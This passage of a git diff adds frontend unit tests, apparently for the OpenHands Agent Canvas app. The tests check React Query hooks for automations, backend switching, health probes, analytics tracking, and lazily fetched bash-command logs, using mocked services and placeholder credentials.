+      expect(getSdkVersion).not.toHaveBeenCalled();
+      expect(getQueryClient().getQueryState(localSdkVersionQueryKey)).toEqual(
+        expect.objectContaining({
+          data: null,
+          fetchStatus: "idle",
+          status: "success",
+        }),
+      );
+
+      hook.unmount();
+    } finally {
+      Object.defineProperty(
+        AutomationService,
+        "getSdkVersion",
+        getSdkVersionDescriptor,
+      );
+    }
+  });
+
+  it("shares one request across consumers without a QueryClientProvider", async () => {
+    vi.mocked(AutomationService.getSdkVersion).mockResolvedValue("1.36.3");
+
+    const { result } = renderHook(() => ({
+      first: useAutomationSdkVersion(),
+      second: useAutomationSdkVersion(),
+    }));
+
+    await waitFor(() => expect(result.current.first).toBe("1.36.3"));
+
+    expect(result.current.second).toBe("1.36.3");
+    expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps the SDK version cached across hook remounts", async () => {
+    vi.mocked(AutomationService.getSdkVersion).mockResolvedValue("1.36.3");
+
+    const first = renderHook(() => useAutomationSdkVersion());
+    await waitFor(() => expect(first.result.current).toBe("1.36.3"));
+    first.unmount();
+
+    const second = renderHook(() => useAutomationSdkVersion());
+    expect(second.result.current).toBe("1.36.3");
+
+    expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(1);
+  });
+
+  it("fetches a new SDK version when the active backend changes", async () => {
+    vi.mocked(AutomationService.getSdkVersion)
+      .mockResolvedValueOnce("1.36.3")
+      .mockResolvedValueOnce("1.37.0");
+
+    const { result, rerender } = renderHook(() => useAutomationSdkVersion());
+    await waitFor(() => expect(result.current).toBe("1.36.3"));
+
+    activeBackendMock.active = {
+      backend: {
+        id: "cloud-1",
+        name: "Cloud",
+        host: "https://app.all-hands.dev",
+        apiKey: "cloud-key",
+        kind: "cloud",
+      },
+      orgId: "org-1",
+    };
+    rerender();
+
+    await waitFor(() => expect(result.current).toBe("1.37.0"));
+    expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(2);
+  });
+
+  it("does not query without an available backend", () => {
+    activeBackendMock.active = {
+      backend: {
+        id: "no-backend",
+        name: "No Backend Available",
+        host: "",
+        apiKey: "",
+        kind: "local",
+      },
+      orgId: null,
+    };
+
+    const { result } = renderHook(() => useAutomationSdkVersion());
+
+    expect(result.current).toBeNull();
+    expect(AutomationService.getSdkVersion).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/query/use-automations-backend-switch.test.tsx b/__tests__/hooks/query/use-automations-backend-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..585e60083f27d14db610a2a877ac6e96d1385ebd
--- /dev/null
+++ b/__tests__/hooks/query/use-automations-backend-switch.test.tsx
@@ -0,0 +1,415 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  useAutomations,
+  useCancelAutomationRun,
+  useDispatchAutomation,
+  useDeleteAutomation,
+  useToggleAutomation,
+  useUpdateAutomation,
+} from "#/hooks/query/use-automations";
+import {
+  useAutomationDetail,
+  useAutomationRuns,
+} from "#/hooks/query/use-automation-detail";
+import type { Backend } from "#/api/backend-registry/types";
+import { AutomationRunStatus } from "#/types/automation";
+import type {
+  Automation,
+  AutomationRun,
+  AutomationsResponse,
+  AutomationRunsResponse,
+} from "#/types/automation";
+import * as telemetry from "#/services/telemetry";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomations: vi.fn(),
+    getAutomation: vi.fn(),
+    getAutomationRuns: vi.fn(),
+    dispatchAutomation: vi.fn(),
+    cancelAutomationRun: vi.fn(),
+    deleteAutomation: vi.fn(),
+    updateAutomation: vi.fn(),
+    toggleAutomation: vi.fn(),
+  },
+}));
+
+let captureMock: ReturnType<typeof vi.spyOn>;
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({ data: { user_consents_to_analytics: true } }),
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Test",
+  prompt: "p",
+  trigger: { type: "schedule", schedule_human: "Daily" },
+  enabled: true,
+  repository: "acme/repo",
+  model: "daily-profile",
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+const automationRun: AutomationRun = {
+  id: "run-1",
+  status: AutomationRunStatus.PENDING,
+  conversation_id: null,
+  bash_command_id: null,
+  error_detail: null,
+  started_at: "2026-01-02T00:00:00Z",
+  completed_at: null,
+};
+
+const listResponse: AutomationsResponse = {
+  automations: [automation],
+  total: 1,
+};
+
+function makeWrapper() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  };
+}
+
+beforeEach(() => {
+  captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.getAutomations).mockReset();
+  vi.mocked(AutomationService.getAutomation).mockReset();
+  vi.mocked(AutomationService.getAutomationRuns).mockReset();
+  vi.mocked(AutomationService.dispatchAutomation).mockReset();
+  vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue(
+    automationRun,
+  );
+  vi.mocked(AutomationService.cancelAutomationRun).mockReset();
+  vi.mocked(AutomationService.cancelAutomationRun).mockResolvedValue(
+    automationRun,
+  );
+  vi.mocked(AutomationService.deleteAutomation).mockReset();
+  vi.mocked(AutomationService.updateAutomation).mockReset();
+  vi.mocked(AutomationService.toggleAutomation).mockReset();
+  vi.mocked(AutomationService.deleteAutomation).mockResolvedValue(undefined);
+  vi.mocked(AutomationService.updateAutomation).mockResolvedValue(automation);
+  vi.mocked(AutomationService.toggleAutomation).mockResolvedValue(automation);
+
+  vi.mocked(AutomationService.getAutomations).mockResolvedValue(listResponse);
+  vi.mocked(AutomationService.getAutomation).mockResolvedValue(automation);
+  setRegisteredBackends([localBackend, cloudBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  captureMock.mockRestore();
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("automation hooks — backend switch", () => {
+  it("useAutomations refetches when the active backend changes", async () => {
+    // Arrange — mount under the local backend; capture the initial fetch.
+    const { result } = renderHook(
+      () => useAutomations({ limit: 50, offset: 0 }),
+      { wrapper: makeWrapper() },
+    );
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1);
+
+    // Act — flip the active backend to a cloud one.
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    // Assert — react-query treats the new (backend, org) as a brand-new
+    // query (the key includes active.backend.id + active.orgId), so a
+    // second fetch fires automatically without any explicit invalidate.
+    await waitFor(() => {
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(2);
+    });
+  });
+
+  it("useAutomationDetail refetches when the active backend changes", async () => {
+    const { result } = renderHook(() => useAutomationDetail({ id: "auto-1" }), {
+      wrapper: makeWrapper(),
+    });
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(2);
+    });
+  });
+
+  it("useDispatchAutomation dispatches the selected automation", async () => {
+    const { result } = renderHook(() => useDispatchAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync("auto-1");
+    });
+
+    expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith("auto-1");
+  });
+});
+
+describe("useAutomationRuns — polling", () => {
+  const pendingRun: AutomationRun = {
+    id: "run-pending",
+    status: AutomationRunStatus.PENDING,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: null,
+  };
+  const completedRun: AutomationRun = {
+    id: "run-pending",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: "conv-1",
+    bash_command_id: "cmd-1",
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:00:30Z",
+  };
+
+  it(
+    "re-fetches while a run is non-terminal, and stops once all runs are terminal",
+    async () => {
+      // Arrange: first fetch returns a PENDING run (polling should engage);
+      // subsequent fetches return a COMPLETED run (polling should then stop).
+      const pendingResponse: AutomationRunsResponse = {
+        runs: [pendingRun],
+        total: 1,
+      };
+      const completedResponse: AutomationRunsResponse = {
+        runs: [completedRun],
+        total: 1,
+      };
+      vi.mocked(AutomationService.getAutomationRuns)
+        .mockResolvedValueOnce(pendingResponse)
+        .mockResolvedValue(completedResponse);
+
+      // Act
+      renderHook(
+        () => useAutomationRuns({ id: "auto-1", limit: 20, offset: 0 }),
+        { wrapper: makeWrapper() },
+      );
+
+      // Assert: the initial fetch fires once.
+      await waitFor(() => {
+        expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+      });
+
+      // The cached data still contains a PENDING run, so refetchInterval
+      // engages and a second fetch arrives within the poll window.
+      await waitFor(
+        () => {
+          expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(2);
+        },
+        { timeout: 5000 },
+      );
+
+      // The second fetch returned a COMPLETED run, so polling should stop.
+      // Give the would-be next poll window plenty of slack and assert no
+      // further calls happen.
+      await new Promise((resolve) => {
+        setTimeout(resolve, 4000);
+      });
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(2);
+    },
+    15000,
+  );
+});
+
+describe("run mutations — sidebar conversation refresh", () => {
+  // The sidebar's conversation poll is paused on automation routes, so these
+  // mutations are what keep the sidebar list current for a run's conversation.
+  function makeClientWrapper() {
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    function Wrapper({ children }: { children: React.ReactNode }) {
+      return (
+        <QueryClientProvider client={queryClient}>
+          <ActiveBackendProvider>{children}</ActiveBackendProvider>
+        </QueryClientProvider>
+      );
+    }
+    return { queryClient, Wrapper };
+  }
+
+  const conversationsKey = [
+    "user",
+    "conversations",
+    "paginated",
+    20,
+    "local-1",
+    null,
+  ];
+
+  it("invalidates the cached conversation list after a successful dispatch", async () => {
+    // Arrange — a sidebar list already sits in the cache.
+    const { queryClient, Wrapper } = makeClientWrapper();
+    queryClient.setQueryData(conversationsKey, { pages: [], pageParams: [] });
+    const { result } = renderHook(() => useDispatchAutomation(), {
+      wrapper: Wrapper,
+    });
+
+    // Act
+    await act(async () => {
+      await result.current.mutateAsync("auto-1");
+    });
+
+    // Assert
+    expect(queryClient.getQueryState(conversationsKey)?.isInvalidated).toBe(
+      true,
+    );
+  });
+
+  it("invalidates the cached conversation list after a successful cancel", async () => {
+    // Arrange
+    const { queryClient, Wrapper } = makeClientWrapper();
+    queryClient.setQueryData(conversationsKey, { pages: [], pageParams: [] });
+    const { result } = renderHook(() => useCancelAutomationRun(), {
+      wrapper: Wrapper,
+    });
+
+    // Act
+    await act(async () => {
+      await result.current.mutateAsync({
+        automationId: "auto-1",
+        runId: "run-1",
+      });
+    });
+
+    // Assert
+    expect(queryClient.getQueryState(conversationsKey)?.isInvalidated).toBe(
+      true,
+    );
+  });
+});
+
+describe("automation mutation hooks — analytics tracking", () => {
+  it("captures automation_executed after a successful dispatch", async () => {
+    const { result } = renderHook(() => useDispatchAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync("auto-1");
+    });
+
+    await waitFor(() => {
+      expect(captureMock).toHaveBeenCalledWith(
+        "automation_executed",
+        expect.objectContaining({ backend_kind: "local" }),
+      );
+    });
+  });
+
+  it("captures automation_deleted after a successful delete", async () => {
+    const { result } = renderHook(() => useDeleteAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync("auto-1");
+    });
+
+    await waitFor(() => {
+      expect(captureMock).toHaveBeenCalledWith(
+        "automation_deleted",
+        expect.objectContaining({ backend_kind: "local" }),
+      );
+    });
+  });
+
+  it("captures automation_edited after a successful update", async () => {
+    const { result } = renderHook(() => useUpdateAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        id: "auto-1",
+        body: { name: "Renamed" },
+      });
+    });
+
+    await waitFor(() => {
+      expect(captureMock).toHaveBeenCalledWith(
+        "automation_edited",
+        expect.objectContaining({ backend_kind: "local" }),
+      );
+    });
+  });
+
+  it("captures automation_disable_button when an automation is disabled", async () => {
+    const { result } = renderHook(() => useToggleAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync({ id: "auto-1", enabled: false });
+    });
+
+    await waitFor(() => {
+      expect(captureMock).toHaveBeenCalledWith(
+        "automation_disable_button",
+        expect.objectContaining({ backend_kind: "local" }),
+      );
+    });
+  });
+
+  it("does not capture automation_disable_button when an automation is enabled", async () => {
+    const { result } = renderHook(() => useToggleAutomation(), {
+      wrapper: makeWrapper(),
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync({ id: "auto-1", enabled: true });
+    });
+
+    expect(captureMock).not.toHaveBeenCalledWith(
+      "automation_disable_button",
+      expect.anything(),
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-backends-health.test.tsx b/__tests__/hooks/query/use-backends-health.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f755a645a74b4231ead1095d717b079078c38fe1
--- /dev/null
+++ b/__tests__/hooks/query/use-backends-health.test.tsx
@@ -0,0 +1,402 @@
+import {
+  ServerClient,
+  SettingsClient,
+} from "@openhands/typescript-client/clients";
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import {
+  BACKEND_HEALTH_STORAGE_KEY,
+  MAX_CONSECUTIVE_FAILURES,
+} from "#/api/backend-registry/health-storage";
+import {
+  __resetHealthStoreForTests,
+  resetBackendHealth,
+} from "#/api/backend-registry/health-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  CLOUD_BACKEND_LOGGED_OUT_ERROR,
+  useBackendsHealth,
+} from "#/hooks/query/use-backends-health";
+
+const getSettingsMock = vi.fn();
+const getServerInfoMock = vi.fn();
+const getCurrentCloudApiKeyMock = vi.fn();
+const getCloudOrganizationsMock = vi.fn();
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(function ServerClientMock() {
+    return { getServerInfo: getServerInfoMock };
+  }),
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return { getSettings: getSettingsMock };
+  }),
+}));
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCloudOrganizations: (...args: unknown[]) =>
+    getCloudOrganizationsMock(...args),
+  getCurrentCloudApiKey: (...args: unknown[]) =>
+    getCurrentCloudApiKeyMock(...args),
+}));
+
+const localBackend: Backend = {
+  id: SEEDED_DEFAULT_BACKEND_ID,
+  name: "Local",
+  host: "http://localhost:18000",
+  apiKey: "",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer",
+  kind: "cloud",
+};
+
+function wrapper({ children }: { children: React.ReactNode }) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>;
+}
+
+beforeEach(() => {
+  getSettingsMock.mockReset();
+  getServerInfoMock.mockReset();
+  getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+  getCurrentCloudApiKeyMock.mockReset();
+  getCloudOrganizationsMock.mockReset();
+  vi.mocked(ServerClient).mockClear();
+  vi.mocked(SettingsClient).mockClear();
+  window.localStorage.clear();
+  __resetHealthStoreForTests();
+});
+
+afterEach(() => {
+  vi.useRealTimers();
+  window.localStorage.clear();
+  __resetHealthStoreForTests();
+});
+
+describe("useBackendsHealth", () => {
+  it("probes local backends via authenticated settings and compatible server info", async () => {
+    getSettingsMock.mockResolvedValue({});
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current[localBackend.id].isConnected).toBe(true),
+    );
+    expect(getSettingsMock).toHaveBeenCalled();
+    expect(getServerInfoMock).toHaveBeenCalled();
+    expect(getCurrentCloudApiKeyMock).not.toHaveBeenCalled();
+  });
+
+  it("reports disconnected when the local backend is below the compatible version floor", async () => {
+    getSettingsMock.mockResolvedValue({});
+    getServerInfoMock.mockResolvedValue({ version: "1.27.1" });
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    await waitFor(
+      () =>
+        expect(result.current[localBackend.id]).toMatchObject({
+          isConnected: false,
+          lastError:
+            "Agent Canvas requires agent-server 1.28.0 or newer; this backend is running 1.27.1. Please upgrade the agent-server backend.",
+        }),
+      // Failing probes now retry a couple of times before settling.
+      { timeout: 3000 },
+    );
+  });
+
+  it("reports disconnected when the local probe throws", async () => {
+    getSettingsMock.mockRejectedValue(new Error("ECONNREFUSED"));
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    await waitFor(
+      () => expect(result.current[localBackend.id].isConnected).toBe(false),
+      { timeout: 3000 },
+    );
+  });
+
+  it("recovers when a transient first probe fails, then succeeds on retry", async () => {
+    // The first probe attempt rejects (agent-server still warming up right
+    // after navigation); the quick-retry inside the query function re-probes
+    // and succeeds, so the backend reports connected without waiting for the
+    // 10s poll — and because the probe ultimately succeeded, zero failures are
+    // recorded toward the disabled cap.
+    getSettingsMock.mockRejectedValueOnce(new Error("ECONNREFUSED"));
+    getSettingsMock.mockResolvedValue({});
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    await waitFor(
+      () => expect(result.current[localBackend.id].isConnected).toBe(true),
+      { timeout: 3000 },
+    );
+    expect(result.current[localBackend.id].consecutiveFailures).toBe(0);
+    expect(getSettingsMock).toHaveBeenCalledTimes(2);
+  });
+
+  it("reports invalid API key when the authenticated local probe returns 401", async () => {
+    getSettingsMock.mockRejectedValue(
+      Object.assign(new Error("Unauthorized"), {
+        name: "HttpError",
+        status: 401,
+      }),
+    );
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current[localBackend.id]).toMatchObject({
+        isConnected: false,
+        lastError: "Invalid API key",
+      }),
+    );
+    expect(getServerInfoMock).not.toHaveBeenCalled();
+    // A definitive auth rejection is not retried — it won't self-heal.
+    expect(getSettingsMock).toHaveBeenCalledTimes(1);
+  });
+
+  it("probes cloud backends via getCurrentCloudApiKey", async () => {
+    getCurrentCloudApiKeyMock.mockResolvedValue({
+      orgId: "org-1",
+      isLegacyKey: false,
+    });
+
+    const { result } = renderHook(() => useBackendsHealth([cloudBackend]), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current[cloudBackend.id].isConnected).toBe(true),
+    );
+    expect(getCurrentCloudApiKeyMock).toHaveBeenCalledWith(cloudBackend);
+    expect(getSettingsMock).not.toHaveBeenCalled();
+  });
+
+  it("probes cookie-auth cloud backends via organizations without an API key", async () => {
+    const cookieBackend: Backend = {
+      ...cloudBackend,
+      id: "cloud-cookie",
+      apiKey: "",
+      authMode: "cookie",
+    };
+    getCloudOrganizationsMock.mockResolvedValue({ items: [], currentOrgId: null });
+
+    const { result } = renderHook(() => useBackendsHealth([cookieBackend]), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current[cookieBackend.id].isConnected).toBe(true),
+    );
+    expect(getCloudOrganizationsMock).toHaveBeenCalledWith(cookieBackend);
+    expect(getCurrentCloudApiKeyMock).not.toHaveBeenCalled();
+  });
+
+  it("reports disconnected when the cloud probe throws", async () => {
+    getCurrentCloudApiKeyMock.mockRejectedValue(new Error("Network Error"));
+
+    const { result } = renderHook(() => useBackendsHealth([cloudBackend]), {
+      wrapper,
+    });
+
+    await waitFor(
+      () => expect(result.current[cloudBackend.id].isConnected).toBe(false),
+      { timeout: 3000 },
+    );
+  });
+
+  it("reports logged out when the cloud probe returns 401", async () => {
+    getCurrentCloudApiKeyMock.mockRejectedValue(
+      Object.assign(new Error("Unauthorized"), {
+        isAxiosError: true,
+        response: { status: 401 },
+      }),
+    );
+
+    const { result } = renderHook(() => useBackendsHealth([cloudBackend]), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current[cloudBackend.id]).toMatchObject({
+        isConnected: false,
+        lastError: CLOUD_BACKEND_LOGGED_OUT_ERROR,
+      }),
+    );
+  });
+
+  it("reports null while the first probe is still in flight", async () => {
+    let resolveProbe!: () => void;
+    getSettingsMock.mockImplementation(
+      () =>
+        new Promise<unknown>((resolve) => {
+          resolveProbe = () => resolve({});
+        }),
+    );
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    expect(result.current[localBackend.id].isConnected).toBeNull();
+
+    resolveProbe();
+    await waitFor(() =>
+      expect(result.current[localBackend.id].isConnected).toBe(true),
+    );
+  });
+
+  it("records the failure count and last error to the health store after a failed probe", async () => {
+    // Arrange
+    getSettingsMock.mockRejectedValue(new Error("ECONNREFUSED"));
+
+    // Act
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+
+    // Assert — one failed probe surfaces the new metadata fields on
+    // the hook's return value and persists them to localStorage; the
+    // disabled flag stays false because we're below the cap.
+    await waitFor(
+      () =>
+        expect(result.current[localBackend.id]).toMatchObject({
+          isConnected: false,
+          consecutiveFailures: 1,
+          lastError: "ECONNREFUSED",
+          disabled: false,
+        }),
+      // Retries settle before a single failure is recorded.
+      { timeout: 3000 },
+    );
+    const persisted = JSON.parse(
+      window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+    );
+    expect(persisted[localBackend.id]).toMatchObject({
+      consecutiveFailures: 1,
+      disabled: false,
+    });
+  });
+
+  it("does not probe a backend whose disabled state was persisted before the GUI mounted (refresh case)", async () => {
+    // Arrange — simulate a prior session that already exhausted retries
+    // by seeding localStorage before the hook subscribes.
+    window.localStorage.setItem(
+      BACKEND_HEALTH_STORAGE_KEY,
+      JSON.stringify({
+        [localBackend.id]: {
+          consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+          lastError: "ECONNREFUSED",
+          lastFailureAt: Date.now(),
+          disabled: true,
+        },
+      }),
+    );
+    __resetHealthStoreForTests();
+    getSettingsMock.mockResolvedValue({});
+
+    // Act
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+    // Let any microtasks drain so a stray probe would have fired by now.
+    await act(async () => {
+      await Promise.resolve();
+    });
+
+    // Assert — polling is gated off; no probe goes out.
+    expect(getSettingsMock).not.toHaveBeenCalled();
+    expect(result.current[localBackend.id]).toMatchObject({
+      isConnected: false,
+      disabled: true,
+    });
+  });
+
+  it("re-arms polling after the user edits the backend (resetBackendHealth clears the disabled flag)", async () => {
+    // Arrange — start from the persisted-disabled state.
+    window.localStorage.setItem(
+      BACKEND_HEALTH_STORAGE_KEY,
+      JSON.stringify({
+        [localBackend.id]: {
+          consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+          lastError: "ECONNREFUSED",
+          lastFailureAt: Date.now(),
+          disabled: true,
+        },
+      }),
+    );
+    __resetHealthStoreForTests();
+    getSettingsMock.mockResolvedValue({});
+
+    const { result } = renderHook(() => useBackendsHealth([localBackend]), {
+      wrapper,
+    });
+    expect(getSettingsMock).not.toHaveBeenCalled();
+
+    // Act — the active-backend-context calls resetBackendHealth when
+    // host or apiKey changes; do that directly so we don't have to
+    // spin up the whole context.
+    act(() => {
+      resetBackendHealth(localBackend.id);
+    });
+
+    // Assert — a fresh probe fires and the hook reports connected.
+    await waitFor(() =>
+      expect(result.current[localBackend.id].isConnected).toBe(true),
+    );
+    expect(getSettingsMock).toHaveBeenCalled();
+  });
+
+  it("re-probes a persisted-disabled backend when explicitly asked and clears the stale health entry on success", async () => {
+    window.localStorage.setItem(
+      BACKEND_HEALTH_STORAGE_KEY,
+      JSON.stringify({
+        [localBackend.id]: {
+          consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+          lastError: "Network Error",
+          lastFailureAt: Date.now(),
+          disabled: true,
+        },
+      }),
+    );
+    __resetHealthStoreForTests();
+    getSettingsMock.mockResolvedValue({});
+
+    const { result } = renderHook(
+      () => useBackendsHealth([localBackend], { probeDisabledOnce: true }),
+      {
+        wrapper,
+      },
+    );
+
+    await waitFor(() =>
+      expect(result.current[localBackend.id]).toMatchObject({
+        isConnected: true,
+        disabled: false,
+      }),
+    );
+    expect(getSettingsMock).toHaveBeenCalled();
+    expect(window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY)).toBeNull();
+  });
+});
diff --git a/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx b/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1a61997daff2c3432074915a403f90d4e4e66de7
--- /dev/null
+++ b/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx
@@ -0,0 +1,119 @@
+/**
+ * Regression test for the automation-detail-page bug where every
+ * activity-log row mounted a (closed) RunLogsModal, each of which fired a
+ * `/api/conversations?ids=<id>` request on page load.
+ *
+ * useBashCommandLogs must honor its `enabled` flag (set to the modal's
+ * `isOpen`) when resolving the conversation: a closed modal fetches
+ * nothing; opening it resolves exactly one conversation lookup.
+ *
+ * Per the testing rules we exercise the REAL useUserConversation and mock
+ * only the underlying service it depends on
+ * (AgentServerConversationService.batchGetAppConversations).
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useBashCommandLogs } from "#/hooks/query/use-bash-command-logs";
+
+// ── Mocks ─────────────────────────────────────────────────────────────────────
+
+const { batchGetAppConversationsMock, listOutputsMock, useActiveBackendMock } =
+  vi.hoisted(() => ({
+    batchGetAppConversationsMock: vi.fn(),
+    listOutputsMock: vi.fn(),
+    useActiveBackendMock: vi.fn(),
+  }));
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      batchGetAppConversations: (...args: unknown[]) =>
+        batchGetAppConversationsMock(...args),
+    },
+  }),
+);
+
+vi.mock("#/api/bash-service/bash-service.api", () => ({
+  default: { listOutputs: (...args: unknown[]) => listOutputsMock(...args) },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+// ── Helpers ───────────────────────────────────────────────────────────────────
+
+// Build a wrapper whose QueryClient is created once and stays stable for the
+// lifetime of the test. Creating the client inside the component body would
+// re-instantiate it on every wrapper re-render (e.g. a `rerender` call),
+// discarding the cache and tripping TanStack Query dev-mode warnings.
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+}
+
+beforeEach(() => {
+  batchGetAppConversationsMock.mockReset();
+  listOutputsMock.mockReset();
+  useActiveBackendMock.mockReset();
+
+  useActiveBackendMock.mockReturnValue({
+    backend: { id: "bk-1", kind: "local" },
+    orgId: null,
+  });
+  listOutputsMock.mockResolvedValue([]);
+  batchGetAppConversationsMock.mockResolvedValue([
+    { conversation_url: null, session_api_key: null, sandbox_status: null },
+  ]);
+});
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+describe("useBashCommandLogs — gates the conversation lookup on `enabled`", () => {
+  it("does not fetch the conversation while the modal is closed (enabled=false)", () => {
+    // Arrange + Act: a RunLogsModal mounted closed for an activity-log row.
+    renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+          enabled: false,
+        }),
+      { wrapper: makeWrapper() },
+    );
+
+    // Assert: no /api/conversations request is issued on page load.
+    expect(batchGetAppConversationsMock).not.toHaveBeenCalled();
+  });
+
+  it("fetches the conversation exactly once when the modal opens (enabled=true)", async () => {
+    // Arrange + Act: the user opens the row's logs modal.
+    renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+          enabled: true,
+        }),
+      { wrapper: makeWrapper() },
+    );
+
+    // Assert: one lookup fires for that conversation id (functionality preserved).
+    await waitFor(() =>
+      expect(batchGetAppConversationsMock).toHaveBeenCalledWith(["conv-1"]),
+    );
+    expect(batchGetAppConversationsMock).toHaveBeenCalledTimes(1);
+  });
+});
